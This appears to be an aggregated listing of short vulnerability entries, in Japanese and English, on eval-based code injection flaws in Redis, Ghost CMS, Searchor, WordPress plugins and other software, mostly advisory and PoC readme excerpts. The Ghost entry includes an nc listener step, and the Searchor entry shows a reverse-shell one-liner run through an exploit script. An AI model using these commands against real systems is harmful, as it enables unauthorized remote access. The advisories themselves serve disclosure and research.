reditrap

RediTrap ハニーポット RediTrapは、Wiz Researchが報告した重大なリモートコード実行（RCE）脆弱性であるCVE-2025-49844（「RediShell」）を悪用する初期の試みを検出するために特化した、最小限のRedisハニーポットです。このエクスプロイトは、組み込みLuaエンジンにおける13年前のuse-after-freeバグを悪用します。RedisはLuaチャンク名をスタック上に固定せずに保存するため、Cコードがポインタを使用している間にガベージコレクションサイクルが文字列を回収できてしまいます。Redisのパッチ d5728cb...

CVE-2026-29053

CVE-2026-29053 Ghost CMS における jsonpath/static-eval プロトタイプチェーンを介した RCE。 情報 CVE : CVE-2026-29053 影響を受けるバージョン : Ghost -p 1. リスナーを起動: nc -lvnp 2. malicious-theme.zip を Ghost Admin → Settings → Design にアップロード 3. スラッグ rce のページを作成...

CVE-2026-3395-Lab

CVE-2026-3395 — MaxSite CMS 未認証RCEラボ このリポジトリは教育および研究目的のみで使用してください。 すべてのテストはローカルのDockerラボ環境で行う必要があります。 このセットアップを公開システムや本番システムにデプロイしないでください。 概要 CVE-2026-3395はMaxSite CMSに影響し、管理用AJAXエンドポイントへの未認証アクセスを許可します。runphpプラグインが有効な場合、CMSのフックシステムを通じてユーザー入力をPHPコードとして評価でき、リモートコード実行（RCE）につながる可能性があります。...

CVE-2026-25731

Templiteエンジンにおけるサーバーサイドテンプレートインジェクション（SSTI） 深刻度: 高（CVSS 7.8） 影響を受けるソフトウェア: calibre パッチ適用バージョン: 9.2.0 アドバイザリ: GHSA-xrh9-w7qx-3gcc 概要...

CVE-2025-60595

CVE-2025-60595 SPH Engineering UgCS 5.13.0 は、任意コード実行に対して脆弱です。これはCVEサイトで使用される公開リファレンスです。 SPH Engineeringが所有する製品における任意コード実行。UGCS 5.13.0！ Ardupilot/mavparse.py の直接の行、230行目から243行目: SPH EngineeringのGitHubでは、パーサーがXML属性を読み取り、value = evalattrs'value' を設定していることが確認できます。攻撃者が悪意のあるvalue属性（例:...

CVE-2026-23885

セキュリティアドバイザリ: CVE-2026-23885 AlchemyCMSにおける認証済みリモートコード実行（RCE） 1. エグゼクティブサマリー AlchemyCMSフレームワークにおいて、動的評価コードにおけるディレクティブの不適切な無害化（CWE-95） に関わる重大なセキュリティ脆弱性が発見されました。この脆弱性により、管理者権限を持つ認証済みユーザーが、eval インジェクションシンクを介して、ホストサーバー上で任意のRubyコードおよびシステムコマンドを実行できる可能性があります。 2. 技術的脆弱性分析 脆弱なコンポーネント ファイル:...

CVE-2026-8838-RCE

CVE-2026-8838 — Amazon Redshift Python Driver: eval によるリモートコード実行 ⚠️ 教育目的のみ 攻撃的サイバーセキュリティの研究・デモンストレーションを目的としたプロジェクトであり、教育および啓発のみを目的として作成されています。 明示的な許可なくシステムに対して使用することは違法です。 このリポジトリは、以下の環境でのみ使用してください： 管理されたラボ環境 テスト環境 CTF プラットフォーム 許可された学習環境 ここで紹介する脆弱性シナリオは、教育用デモンストレーションのみを目的としています。 目次 説明 技術詳細 攻撃ベクトル...

CVE-2026-27384

CVE-2026-27384 CVE-2026-27384 — W3 Total Cache mfunc/eval RCE スキャナー プラグイン: W3 Total Cache プラグインスラッグ: w3-total-cache CVE ID: CVE-2026-27384 CVSS スコア: 9.8 クリティカル CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 脆弱性タイプ: 認証不要の任意コード実行 eval によるコードインジェクション 影響を受けるバージョン: W3TC...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE エクスプロイト expr-eval および expr-eval-fork npm パッケージにおける CVE-2025-12735 脆弱性を検出・テストするためのセキュリティ研究ツール。 ⚠️ 免責事項 このツールは許可されたセキュリティテストおよび教育目的のみ に使用してください。コンピュータシステムへの不正アクセスは違法です。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。 📋 概要 CVE-2025-12735 は、expr-eval および expr-eval-fork npm...

freeIPA: idm: freeipa: idp-add eval() reachable before authorization check allows environment disclosure and denial of service

A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval call before the corresponding LDAP access control check is enforced. This allows any authenticated IPA principal, regardless of privilege level, to enumerate an...

GHSA-GVF2-2RH5-MPGF OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget

Summary A user who can save a telemetry screen permission systemset can embed JavaScript in a screen BUTTON widget. The BUTTON widget evals the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an...

OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget

Summary A user who can save a telemetry screen permission systemset can embed JavaScript in a screen BUTTON widget. The BUTTON widget evals the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an...

CVE-2026-5924

The Getwid – Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Google Maps block's 'customStyle' attribute in all versions up to, and including, 2.1.3. This is due to the use of eval on user-controlled block content in the frontend JavaScript mapStyles...

EUVD-2026-85111

The Getwid – Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Google Maps block's 'customStyle' attribute in all versions up to, and including, 2.1.3. This is due to the use of eval on user-controlled block content in the frontend JavaScript mapStyles...

CVE-2024-21513

CVE-2024-21513 CVE-2024-21513 用 PoC Snyk Security Research によって文書化されたオリジナルのエクスプロイト エクスプロイト CVE-2024-21513 は langchain-experimental の脆弱性で、検証されていない SQL クエリの結果が Python の eval に渡され、SQL ベースの入力インジェクションによってリモートコード実行が可能になるというものです。 PoC の構造 この PoC は、ユーザーが SQLite DB に座標を入力できる、インライン HTML を備えた非常に基本的な Flask...

CVE-2026-88418

CMSimple 5.24 ships with CSRF protection disabled by default, which turns csrfProtection into a no-op on every state-changing admin request, and it does not send the csrftoken hidden field in admin forms. Because administrator authentication is cookie-only and no CSRF token is enforced, an...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC 安全でない eval の使用による Searchor --test 任意のコマンドを実行 ターゲットサーバー上で任意のコマンドを実行します: root@kitploit: python3 CVE-2023-43364.py -a "whoami" 例: root@kitploit: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls...

CVE-2026-95501

A vulnerability was found in mtrano APENCMS up to 6546096d354153309693efabb9a0d824628ed4f5. The affected element is the function eval of the file cms/weasel.php of the component Template Engine. The manipulation of the argument $CMS'site' results in code injection. The attack may be performed fro...

CVE-2026-95501

mtrano APENCMS (a template engine component) is affected by a code injection vulnerability in the eval function of the file cms/weasel.php . Manipulating the $_CMS['site'] argument allows a remote attacker to inject and execute code. The attack requires high privileges and user interaction , resu...

EUVD-2026-84493

A vulnerability was found in mtrano APENCMS up to 6546096d354153309693efabb9a0d824628ed4f5. The affected element is the function eval of the file cms/weasel.php of the component Template Engine. The manipulation of the argument $CMS'site' results in code injection. The attack may be performed fro...